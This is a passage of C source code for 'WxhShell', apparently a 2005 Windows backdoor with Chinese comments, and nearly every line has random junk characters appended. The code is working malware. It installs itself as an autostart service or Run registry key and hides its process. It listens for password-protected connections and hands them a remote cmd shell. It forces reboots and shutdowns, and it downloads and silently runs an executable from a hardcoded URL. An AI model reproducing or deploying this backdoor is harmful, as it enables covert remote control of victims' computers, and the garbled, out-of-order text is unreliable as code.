    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B~7!v${  
    if(Boot(SHUTDOWN)) ;Xy=;Z.]i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); * m^\&  
    else { fggs ;Le  
    closesocket(wsh); kaXq.  
    ExitThread(0); DJ@n$G`^^  
    } U: Wet,  
    break; as!a!1  
    } /1v9U|j  
  // 获取shell ,aLwOmO  
  case 's': { XC)9aC@s  
    CmdShell(wsh); 8\!E )M|4  
    closesocket(wsh); P3: t 4^  
    ExitThread(0); Pv/ v=s>X  
    break; uBa<5YDF  
  } )?UoF&c/  
  // 退出 @anjjC5a~  
  case 'x': { cl2_"O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cO*g4VL"[  
    CloseIt(wsh); Xs2 jR14`  
    break; (=Cb)/s0  
    } >*8V]{f9  
  // 离开 ro\ oL  
  case 'q': { ]FZPgO'G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =I546($  
    closesocket(wsh); &<]f-  
    WSACleanup(); robg1  
    exit(1); $VvgzjrH  
    break; ^]nLE]M  
        } e))L&s  
  } Ze eV-  
  } jRg gj`o  
5M~{MdF|.  
  // 提示信息 %7)TiT4V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dHXe2rTE;&  
} o5tCbsHj-  
  } { uaDpRt  
p35=CX`T.  
  return; dA~:L`A|X  
} %7 bd}sJ#  
vTO9XHc E  
// shell模块句柄 8m?(* [[  
int CmdShell(SOCKET sock) )N&SrzqTK  
{ |(3 y09  
STARTUPINFO si; Yt]`>C[|D  
ZeroMemory(&si,sizeof(si)); U`ttT5;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1@}F8&EZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p2Ep(0w,R5  
PROCESS_INFORMATION ProcessInfo; THp_ dTD  
char cmdline[]="cmd"; #T_!-;(Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +Y sGH~jX  
  return 0; 9efDM  
} z3tx]Ade  
h9H z6 >  
// 自身启动模式 $v;WmYTJ  
int StartFromService(void) _Sr7b#)o  
{ <eG|`  
typedef struct 3\XNOJH  
{ *OG<+#*\_?  
  DWORD ExitStatus; XIl <rN@-  
  DWORD PebBaseAddress; [`\VgKeu  
  DWORD AffinityMask; )[Tm[o?Y.  
  DWORD BasePriority; L7C ;l,ot  
  ULONG UniqueProcessId; 6VGY4j}:(  
  ULONG InheritedFromUniqueProcessId; ,<rC,4-F<  
}   PROCESS_BASIC_INFORMATION; *(OG+OkC  
M*zpl}  
PROCNTQSIP NtQueryInformationProcess; t{]Ew4Y4%O  
Z6Fu~D2U y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m^3x%ENZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3x+lf4"  
@Lnv  
  HANDLE             hProcess; 6nW)2LV  
  PROCESS_BASIC_INFORMATION pbi; j&d5tgLB  
m)tu~ neM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~S8:xG+s  
  if(NULL == hInst ) return 0; " ]S  
+ `|A/w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q5(t2nNb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &>JP.//spi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mJUM#ry  
%F 2h C x  
  if (!NtQueryInformationProcess) return 0; }nd>SK4  
xuK"pS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {<,%_pJR  
  if(!hProcess) return 0; r:g\  
Z =+Z96  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fqgp{(`@>  
qbv\uYow3k  
  CloseHandle(hProcess); =tOB fRM  
2RkW/) A9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *dw.=a9  
if(hProcess==NULL) return 0; Bh3F4k2bg7  
Ehx9-*]  
HMODULE hMod; k*$WAOJEW  
char procName[255]; k1wIb']m]z  
unsigned long cbNeeded; V`I4"}M1  
aK_5@8+ZD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I1<WHq  
=^4Z]d  
  CloseHandle(hProcess); <s9{o uZ  
CP7dn/  
if(strstr(procName,"services")) return 1; // 以服务启动 d0(zB5'}  
S1QMS  
  return 0; // 注册表启动 E8PDIjp  
} 6("_}9ZOc  
Q~,Mzt"}W  
// 主模块 =]7o+L4  
int StartWxhshell(LPSTR lpCmdLine) *Al@|5  
{ j"qND=15  
  SOCKET wsl; < z<>E1ZLI  
BOOL val=TRUE; 4aXIRu%#7  
  int port=0; FNQ<k[#K'~  
  struct sockaddr_in door; bU=Utniq  
y!FO  
  if(wscfg.ws_autoins) Install(); pfN(Ae Pt  
Ge q]wv8  
port=atoi(lpCmdLine); o[ 5dR<  
1VJ${\H]  
if(port<=0) port=wscfg.ws_port; FZi@h  
0AB a&'h  
  WSADATA data; ,Z{\YAh1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p<fCGU  
QEyL/#Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2k.VTGak  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H>TO8;5(  
  door.sin_family = AF_INET; CF bNv9GZj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :;{M0  
  door.sin_port = htons(port); rFXdxRP;M  
@c|=onx5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j9 nw,x$  
closesocket(wsl); \g}]u(zg%  
return 1; `5Y*) q  
} ]C \+b <  
 3 xyrWl  
  if(listen(wsl,2) == INVALID_SOCKET) { &S>{9 y%  
closesocket(wsl); noWF0+ %  
return 1; '/>Mr!H#  
} F-m%d@P&X  
  Wxhshell(wsl); o~LJ+m6-)  
  WSACleanup(); <i~xJi%1#  
Dz}i-tw+  
return 0; im>(^{{r&  
zhn ?;Fi  
} wps/{h,  
!*#9b  
// 以NT服务方式启动 =$'>VPQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m.<_WXH  
{ gVG^R02#<k  
DWORD   status = 0; {5 dVK  
  DWORD   specificError = 0xfffffff; D \ rns+  
A]BeI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tT]@yo|?e/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xFu ,e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r^ r+h[V  
  serviceStatus.dwWin32ExitCode     = 0; yT^2;/Z  
  serviceStatus.dwServiceSpecificExitCode = 0; I\)`,w  
  serviceStatus.dwCheckPoint       = 0; \+o\wTW  
  serviceStatus.dwWaitHint       = 0; Z=Y29V8  
K,S4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iK}p#"si  
  if (hServiceStatusHandle==0) return; yy3rh(ea  
E1QJ^]MG.  
status = GetLastError(); pBqf+}g4  
  if (status!=NO_ERROR) NM. e4  
{ NpVL;6?7T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; oG,>Pk  
    serviceStatus.dwCheckPoint       = 0; )\+Imn  
    serviceStatus.dwWaitHint       = 0; jF6_yw  
    serviceStatus.dwWin32ExitCode     = status; 5_9`v@-4_  
    serviceStatus.dwServiceSpecificExitCode = specificError; /?8 1Ypt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v47' dC  
    return; ~n 'A1  
  } N'b GL%  
uda++^y:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !8 @yi"n  
  serviceStatus.dwCheckPoint       = 0; ANm@$xO*  
  serviceStatus.dwWaitHint       = 0; S?v/diK ]J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JC'3x9_<z  
} 4X=VNORlU0  
rmg\Pa8W>  
// 处理NT服务事件,比如:启动、停止 aImzK/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8u*<GbKGI  
{ 8~U ^G[!  
switch(fdwControl) 8~!E.u9w  
{ s9C^Cy^su  
case SERVICE_CONTROL_STOP: ld(60?z>FH  
  serviceStatus.dwWin32ExitCode = 0; ~W @dF~r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HxbzFu?h  
  serviceStatus.dwCheckPoint   = 0; ~ZafTCa;  
  serviceStatus.dwWaitHint     = 0; xa`xHh{0  
  { -'c qepC{T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); APl]EV" l  
  } *k(FbZ  
  return; Dbn ~~P  
case SERVICE_CONTROL_PAUSE: +  }"+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C).\ J !  
  break; FH}?QebSR  
case SERVICE_CONTROL_CONTINUE: |k~AGc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,X/j6\VBO  
  break; |-JG _i  
case SERVICE_CONTROL_INTERROGATE: C-edQWbcP  
  break; NFVu~t  
}; bB4FjC':  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]O;*Y{:Y  
} EUSM4djL  
U_VP\ 03  
// 标准应用程序主函数 O n0!>-b,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |2'WSAWG  
{ ]Q FI>  
NioqJG?p  
// 获取操作系统版本 ]D nAW'm  
OsIsNt=GetOsVer(); 9o,Eq x4J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ln_&Ux+l  
_V3z!aI  
  // 从命令行安装 09 McUR@  
  if(strpbrk(lpCmdLine,"iI")) Install(); =b66H]h?  
uWx<J3~q.  
  // 下载执行文件 r?)1)?JnHe  
if(wscfg.ws_downexe) { .]E"w9~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) & *tL)qKDc  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2lfEJw($  
} (PE.v1T  
Y;Nq(  
if(!OsIsNt) { 2RZa}  
// 如果时win9x,隐藏进程并且设置为注册表启动 S\ak(<X  
HideProc(); 7&,$  
StartWxhshell(lpCmdLine); T}J)n5U}\  
} wYe;xk`>  
else !{,2uQXe  
  if(StartFromService()) gIO_mJ3 u  
  // 以服务方式启动 Z>UM gu3c  
  StartServiceCtrlDispatcher(DispatchTable); $<nD-4p  
else Fr50hrtkU  
  // 普通方式启动 h% >ZN-K)  
  StartWxhshell(lpCmdLine); H3!9H  
&@xm< A\S  
return 0; a{ke%W$*P  
} E6R\ DM  
0B[~j7EGO  
E4=D$hfq`  
Cn=#oE8(A  
=========================================== pzt<[;  
Tcv/EST  
]Ky`AG`2~  
#"oLz"{  
x?rd9c  
k]AL\) &W  
" },X.a@:  
 Hxy=J  
#include <stdio.h> @ o<O I  
#include <string.h> Mk9J~'C_  
#include <windows.h> ]w,|WZm  
#include <winsock2.h> ;Tk/}Od!VN  
#include <winsvc.h> [ Y{  
#include <urlmon.h> CXGMc)#>f  
'I}wN5`  
#pragma comment (lib, "Ws2_32.lib") ;d fIzi  
#pragma comment (lib, "urlmon.lib") >bI\pJ  
mYfHBW:  
#define MAX_USER   100 // 最大客户端连接数 -1hCi !  
#define BUF_SOCK   200 // sock buffer OZz/ip-!lc  
#define KEY_BUFF   255 // 输入 buffer 9]T61Z{OW1  
9*~";{O.Oa  
#define REBOOT     0   // 重启 /?j kVy*"  
#define SHUTDOWN   1   // 关机 ~("bpS#ZgD  
mQt0?c _  
#define DEF_PORT   5000 // 监听端口 FQ 0 ;%Z  
vo:h"ti  
#define REG_LEN     16   // 注册表键长度 }!r pH{y  
#define SVC_LEN     80   // NT服务名长度 uwi.Sg11  
k|RY; 8_  
// 从dll定义API JoG(Nk]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1:yil9.\*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F_ -Xx"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  jrS$!cEo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9:3`LY3wW  
A!^r9?<  
// wxhshell配置信息 'ahZ*@kr  
struct WSCFG { o*E32#l  
  int ws_port;         // 监听端口 Hj1?c,mo4  
  char ws_passstr[REG_LEN]; // 口令 5zZQt +Ip  
  int ws_autoins;       // 安装标记, 1=yes 0=no oO7)7$|1  
  char ws_regname[REG_LEN]; // 注册表键名 *2.h*y'u  
  char ws_svcname[REG_LEN]; // 服务名 p1.3)=T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Gf+X<a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 XL;WU8>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K:VZ#U(_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9D,!]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8N |K   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;;C2t&(  
1A* "v  
}; >[nR$8_J-l  
0N]\f.=`  
// default Wxhshell configuration b>#=7;  
struct WSCFG wscfg={DEF_PORT, ]Nssn\X7  
    "xuhuanlingzhe", dK8dC1@,X;  
    1, @.)[U:N  
    "Wxhshell", v>mK~0.$  
    "Wxhshell", PRB lf  
            "WxhShell Service", +!:=Mm  
    "Wrsky Windows CmdShell Service", c/j+aj0.v  
    "Please Input Your Password: ", MXDCOe~07  
  1, @)!N{x?  
  "http://www.wrsky.com/wxhshell.exe", e^x%d[sU  
  "Wxhshell.exe" )%kiM<})  
    }; AOwmPHEL  
gLFTnMO  
// 消息定义模块 QctzIC#;k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !)`*e>]x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j/NX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D#`>p  
char *msg_ws_ext="\n\rExit."; D dCcsYm,  
char *msg_ws_end="\n\rQuit."; 4b, +;  
char *msg_ws_boot="\n\rReboot..."; !g)rp`?  
char *msg_ws_poff="\n\rShutdown..."; =}I=s@  
char *msg_ws_down="\n\rSave to "; 9%"\s2T  
9d( M%F  
char *msg_ws_err="\n\rErr!"; je3Qq1  
char *msg_ws_ok="\n\rOK!"; g>gf-2%Uo  
E'6/@xM  
char ExeFile[MAX_PATH]; vSv1FZu*  
int nUser = 0; .N# KW  
HANDLE handles[MAX_USER]; 4M6[5RAW{  
int OsIsNt; Y" rODk1  
;kR=vv  
SERVICE_STATUS       serviceStatus; wuk\__f4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; GZn=Hgv8  
\}Iq-Je   
// 函数声明 %""h:1/S  
int Install(void); vM$hCV ~N  
int Uninstall(void); 7|_2@4-W6  
int DownloadFile(char *sURL, SOCKET wsh); 28c6~*Te #  
int Boot(int flag); 7`^Y*:(  
void HideProc(void);  &"27U  
int GetOsVer(void); ~Je40vO[  
int Wxhshell(SOCKET wsl); iC>%P&|-)|  
void TalkWithClient(void *cs); t y4R2LnC  
int CmdShell(SOCKET sock); \IudS{ .?;  
int StartFromService(void); qHo H h  
int StartWxhshell(LPSTR lpCmdLine); :qj;f];|  
B%k C>J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EwuRIe;D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c5 AaUza  
Q 8;JvCz   
// 数据结构和表定义 * {~`Lw)y  
SERVICE_TABLE_ENTRY DispatchTable[] = {{>,c}O /  
{ dxH\H?NO  
{wscfg.ws_svcname, NTServiceMain}, ,`k6 @4  
{NULL, NULL} qK2jJ3)>  
}; utl-#Wwt/  
@$;8k }  
// 自我安装 I3'UrKKO  
int Install(void) ?U O aqcL  
{ oR,zr  
  char svExeFile[MAX_PATH]; i: jB  
  HKEY key; Iu5 9W >  
  strcpy(svExeFile,ExeFile); L%<]gJtrO  
("}C& 6)cB  
// 如果是win9x系统,修改注册表设为自启动 T}29(xz-(h  
if(!OsIsNt) { x2r.4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HvKdV`bz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B.;@i;7L  
  RegCloseKey(key); J P5en  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %6Vb1?x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;T8(byH ?  
  RegCloseKey(key); =1(7T.t  
  return 0; Gm9  
    } I&gd"F _v}  
  } \.p; 4V&  
} /me ]sOkn  
else { RP[`\  
a#[gNT~[  
// 如果是NT以上系统,安装为系统服务 [wiB1{/Ls.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }~ N\A  
if (schSCManager!=0) SDNRcSbOD6  
{ 05\0g9  
  SC_HANDLE schService = CreateService Qy}pn=#Q  
  ( 4GeN<9~YS  
  schSCManager, f&$;iE  
  wscfg.ws_svcname, A{k1MA<F6  
  wscfg.ws_svcdisp, ,Shzew+  
  SERVICE_ALL_ACCESS, K ;]dZ8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yV(9@lj3;  
  SERVICE_AUTO_START, r!eW]M  
  SERVICE_ERROR_NORMAL, &2[Xu4*  
  svExeFile, A-_M=\  
  NULL, Kb;Pd!Q  
  NULL, <Kr`R+Q$DN  
  NULL, d)D!np=  
  NULL, E_[a|N"D  
  NULL |O'*CCrCL  
  ); Qt_KUtD  
  if (schService!=0) Qb%; |li  
  { *P]]7DR  
  CloseServiceHandle(schService); iC^91!<  
  CloseServiceHandle(schSCManager); \Ucv<S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bj 8pqw|;  
  strcat(svExeFile,wscfg.ws_svcname); gW4fwE^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z)=S>06X Q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !+z^VcV  
  RegCloseKey(key); `,/5skeJ  
  return 0; [q_62[-X  
    } 9%3+\[s1  
  } h05FR[</  
  CloseServiceHandle(schSCManager); =5fY3%^b{  
} UWS 91GN@  
} )b=vBs`%  
)p>p3b g  
return 1; &b*v7c=o  
} q _K@KB  
matm>3n  
// 自我卸载 F$1{w"&  
int Uninstall(void) ~UQ<8`@a  
{ 89{;R  
  HKEY key; 0`p"7!r  
z[R dM#L  
if(!OsIsNt) { {}iS5[H]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6@FhDj2X  
  RegDeleteValue(key,wscfg.ws_regname); "iX\U'`  
  RegCloseKey(key); Oj_F1. r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g+QIhur  
  RegDeleteValue(key,wscfg.ws_regname); 4^nHq 4_  
  RegCloseKey(key); q(hBqUW  
  return 0; ^J^FGo|M  
  } vSoG] :1  
} Fn4yx~0  
}  ^4Xsdh5  
else { 8'TIDu  
oAB:H \  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7F~gA74h  
if (schSCManager!=0) /?XI,#j3kM  
{ uW/>c$*)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gp$Rf9\  
  if (schService!=0) opN4@a7l  
  { Y9vi&G?Jl  
  if(DeleteService(schService)!=0) { P0hr=/h4  
  CloseServiceHandle(schService); S*J\YcqSC  
  CloseServiceHandle(schSCManager); l7VTuVGUJ  
  return 0; F|.tn`j]U  
  } Xppb|$qp4H  
  CloseServiceHandle(schService); $MNJsc^n  
  } I!1+#0SG  
  CloseServiceHandle(schSCManager); ! os@G  
} ,2^A<IwR  
} gE=9K @  
?P>4H0@I+  
return 1; di9OQ*6a7  
} K{@xZ)  
%VR{<{3f  
// 从指定url下载文件 ~[og\QZX  
int DownloadFile(char *sURL, SOCKET wsh) 7j&EQm5\9  
{ jJt4{c  
  HRESULT hr; Ef ?|0Gm  
char seps[]= "/"; wxPl[)E  
char *token; !hS)W7!ik  
char *file; Jq?zr]"A  
char myURL[MAX_PATH]; Ct~j/.  
char myFILE[MAX_PATH]; pBv,,d`  
X%(NI(+x,  
strcpy(myURL,sURL); Eaxsg  
  token=strtok(myURL,seps); R)*l)bpZ#  
  while(token!=NULL) L%{YLl-zf]  
  { g"Ueo'd*  
    file=token; +c C. ZOS  
  token=strtok(NULL,seps); BtKor6ba  
  } vZ57 S13  
4(oU88 z  
GetCurrentDirectory(MAX_PATH,myFILE); 5VQ-D`kE+  
strcat(myFILE, "\\"); [UC_  
strcat(myFILE, file); EEK!'[<,sE  
  send(wsh,myFILE,strlen(myFILE),0); g"m9[R=]6  
send(wsh,"...",3,0); xVX:kDX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^ACrWk~UY  
  if(hr==S_OK) bqA`oRb\  
return 0; -vY5h%7kf  
else l Ib d9F  
return 1; 7ZyP  
"Y^ 9g/  
} R4JfH  
f>4|>kS  
// 系统电源模块 yqL"YD  
int Boot(int flag) !~R<Il|B  
{ e?B}^Dk0i  
  HANDLE hToken; fc<y(uX  
  TOKEN_PRIVILEGES tkp; qnWM  %k  
6<QC|>p  
  if(OsIsNt) { N|>JLZ>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |>'N^   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Is<XMR|{  
    tkp.PrivilegeCount = 1; |j9aTv[`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~x<?Pj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (EosLn h0  
if(flag==REBOOT) {  zy"k b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1y wdcg  
  return 0; aT}Hc5L,b  
} 2Vf242z_  
else { U$+,|\9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E"S# d&9  
  return 0; vyJ8" #]qY  
} >1Hv c7DP  
  } YaC[S^p  
  else { Y_jc*S  
if(flag==REBOOT) { #Ktk["6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]adgOlM  
  return 0; }d>.Nj#zh  
} ' 7oCWHq[  
else { \9` ~9#P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q3&D A1b`  
  return 0; vazA@|^8  
} `O0Qtq.  
} w{xa@Q]t-  
vWM&4|Q1~  
return 1; N"G\ H<n  
} Y%0rji  
jXALL8[c  
// win9x进程隐藏模块 00dY?d{[D  
void HideProc(void) aQ\SV0PI  
{ 5Ww,vSCV)  
:A @f[Y'9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FGyrDRDwC  
  if ( hKernel != NULL ) myN2G?>;  
  { >bQOpGy}l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pL;e(lM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eZ[Qhrc  
    FreeLibrary(hKernel); U\qbr.<  
  } -.M J3  
6Y,&q|K  
return; % 33O)<?  
} H' /V<%  
w+*rbJ  
// 获取操作系统版本 SG\ /m'F  
int GetOsVer(void) +6jGU '}[  
{ LiQH!yHW  
  OSVERSIONINFO winfo; @ %L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W5Pur lu?  
  GetVersionEx(&winfo); Y%eW6Y#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) - ry  
  return 1; c!wRq4  
  else ~uZ9%UB_m  
  return 0; XP%_|Q2X  
} o&@y^<UQ  
;^0ok'P\~9  
// 客户端句柄模块 +$(y2F7|u-  
int Wxhshell(SOCKET wsl) >yT1oD0+x  
{ LK*9`dzv=G  
  SOCKET wsh; `RE>gX  
  struct sockaddr_in client; L / WRVc6  
  DWORD myID; 0]'  2i  
jCNR63/  
  while(nUser<MAX_USER) SC2LY  
{ w~crj$UM  
  int nSize=sizeof(client); ^ /%Y]d$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W1 xPK*  
  if(wsh==INVALID_SOCKET) return 1; @g;DA)!(  
Oe@w$?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +,ar`:x&a  
if(handles[nUser]==0) d#bg(y\G|  
  closesocket(wsh); #<m2Xo?d]  
else md18q:AG)  
  nUser++; t!J>853  
  } d$+0 ;D4E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3PRU  
V3VTbgF  
  return 0; r^rk@W;[  
} W  wj+\  
4[;}/-  
// 关闭 socket GtIAsC03  
void CloseIt(SOCKET wsh) Yqo@ g2g  
{ T>#~.4A0  
closesocket(wsh); b.[9Adi >  
nUser--; w;AbJCv2  
ExitThread(0); Xf7]+  
} 4s_5>r4  
)*uotV  
// 客户端请求句柄 `H*mQERb  
void TalkWithClient(void *cs) RX?!MDO  
{ Tw` dLK?  
2MYez>D  
  SOCKET wsh=(SOCKET)cs; &1 yErGXC  
  char pwd[SVC_LEN]; a x;<idC}  
  char cmd[KEY_BUFF]; !~'D;Jh  
char chr[1]; N z=P1&G'  
int i,j; Oz]$zRu/0  
#{?RE?nD  
  while (nUser < MAX_USER) { 7AGUi+!ICl  
gPd ,  
if(wscfg.ws_passstr) { !e |Bi{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?LU>2!jN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?-`&YfF  
  //ZeroMemory(pwd,KEY_BUFF); z/QYy)_j  
      i=0; KX cRm)  
  while(i<SVC_LEN) { j%Uoigi  
j!k$SDA-  
  // 设置超时 I|;zGmg#k  
  fd_set FdRead; sVmqx^-  
  struct timeval TimeOut; TEj"G7]1$A  
  FD_ZERO(&FdRead); BAi0w{  
  FD_SET(wsh,&FdRead); c3PA<q[  
  TimeOut.tv_sec=8; ).e}.Z6[i`  
  TimeOut.tv_usec=0; r_tt~|s,>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r6aIW8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8o $ ` '  
i$6a0'@U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hV) `e"r\s  
  pwd=chr[0]; RwrRN+&s\  
  if(chr[0]==0xd || chr[0]==0xa) { .~rg#*]^  
  pwd=0; ?pd /cj^  
  break; )_o^d>$da  
  } /"~UGn]R  
  i++; WI&}94w  
    } {'{9B  
.We{W{  
  // 如果是非法用户,关闭 socket U^)`_\/;?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >$ro\/  
} UYW'pV  
01RW|rN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cb{"1z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9GTp};Kg  
, \RR@~u'  
while(1) { rp[3?-fk  
n3-VqYUP  
  ZeroMemory(cmd,KEY_BUFF); EUV8H}d5  
7+X~i@#rU  
      // 自动支持客户端 telnet标准   pNmWBp|ER  
  j=0; ]P>XXE;[  
  while(j<KEY_BUFF) { !3DY#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0O]v|  
  cmd[j]=chr[0]; IAe/)  
  if(chr[0]==0xa || chr[0]==0xd) { d 792#Dc  
  cmd[j]=0; :l iDoGDi  
  break; WNKP';(a@G  
  } dq'f >S z}  
  j++; ),xD5~_=q  
    } iY&I?o!Ch  
:IfwhI)  
  // 下载文件 Unb3 Gv#O  
  if(strstr(cmd,"http://")) { @A*>lUo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2\T\p<_20  
  if(DownloadFile(cmd,wsh)) E'SDT*EI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'lu3BQvfh  
  else ?0+g.,9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K1]3zLnS  
